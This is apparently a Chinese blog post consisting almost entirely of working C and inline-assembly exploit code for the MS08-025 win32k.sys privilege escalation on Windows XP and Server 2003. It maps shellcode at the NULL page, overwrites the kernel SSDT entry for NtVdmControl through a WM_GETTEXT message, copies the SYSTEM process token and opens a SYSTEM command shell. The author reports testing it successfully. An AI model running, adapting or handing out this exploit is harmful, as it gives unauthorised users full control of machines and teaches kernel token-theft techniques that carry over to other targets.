MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

最新推荐文章于 2024-06-19 11:43:49 发布

原创最新推荐文章于 2024-06-19 11:43:49 发布 · 1.7k 阅读

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文章标签：

#system #null #token #callback #cmd #search

本文介绍了一种针对Windows XP SP2环境下MS08-025漏洞的提权方法，通过利用win32k.sys中的NtUserFnOUTSTRING函数实现权限提升，并展示了具体的shellcode实现过程。

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
另一种利用方式，通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行

#include <stdio.h>
#include <windows.h>

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE               ProcessHandle,
                                       PVOID            *BaseAddress,
                                       ULONG                ZeroBits,
                                       PULONG           RegionSize,
                                       ULONG                AllocationType,
                                       ULONG                Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
void ErrorQuit(char *msg)
{
    printf("%s:%x/n", msg, GetLastError());
    ExitProcess(0);
}
ZWVDMCONTROL    ZwVdmControl=NULL;
OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

      if ( OsVersionInfo.dwMinorVersion == 1 ) {

       __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // Find System Process
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的 token
               mov [esi+0xc8],eax // 修改当前进程的 token

               ret 8

       }
   }
   if ( OsVersionInfo.dwMinorVersion == 2 ) {

       __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // Find System Process
               jne search2003

               mov eax,[eax+0xd8] // 获取system进程的 token
               mov [esi+0xd8],eax // 修改当前进程的 token
               ret 8

       }
   }

}

void InitTrampoline()
{

   PNTALLOCATE NtAllocateVirtualMemory;
   LPVOID       addr = (LPVOID)3;
   DWORD       dwShellSize=0x1000;
   unsigned char trampoline[]="/x68/x00/x00/x00/x00" //push 0x0
                               "/xc3";               // retn

   NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

   if( !NtAllocateVirtualMemory )
       exit(0);

   NtAllocateVirtualMemory(   (HANDLE)-1,
                               &addr,
                               0,
                               &dwShellSize,
                               MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                               PAGE_EXECUTE_READWRITE );

   if( (PULONG)addr )
   {
       printf("/n[++] Error Allocating memory/n");
       exit(0);
   }

   *(PULONG*)(trampoline+1)=(PULONG)ShellCode;
   memcpy(NULL,trampoline,sizeof(trampoline)-1);
}
int Callback_Overview()
{
   printf("/n");
   printf("=====================================================================   /n");
   printf("/t/tMicrosoft Windows XP SP2 - MS08-025 -       /n");
   printf("/twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit   /n");
   printf("=====================================================================   /n");
   printf("+ References:/n");
   printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx/n");
   printf(" http://hi.baidu.com/vessial/n/n");
   return 1;
}

void GetFunction()
{
    HANDLE    hNtdll,hNtos;

    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed./n");

    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed./n");

    FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

   //PULONG   PntVdmControl=0x805F0DB0;
    char*   PntVdmControl=0x80502460; // 通过*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4获得


   STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;

   Callback_Overview();
   GetFunction();
   RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
   OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
   GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system/n" );
       ExitProcess( 0 );
   }
   //Get Operatiny System Version

   InitTrampoline();

   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );
   SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);
   printf("/n[+] Executing Shellcode.../n");

   ZwVdmControl(0, NULL);
   GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );   // 此时创建的cmd.exe是SYSTEM权限


   printf("[+] Exiting.../n");

   return TRUE;
}
我在XP测试成功，下面的第一个cmd是SYSTEM权限，这是我们提权后的，一个cmd是test权限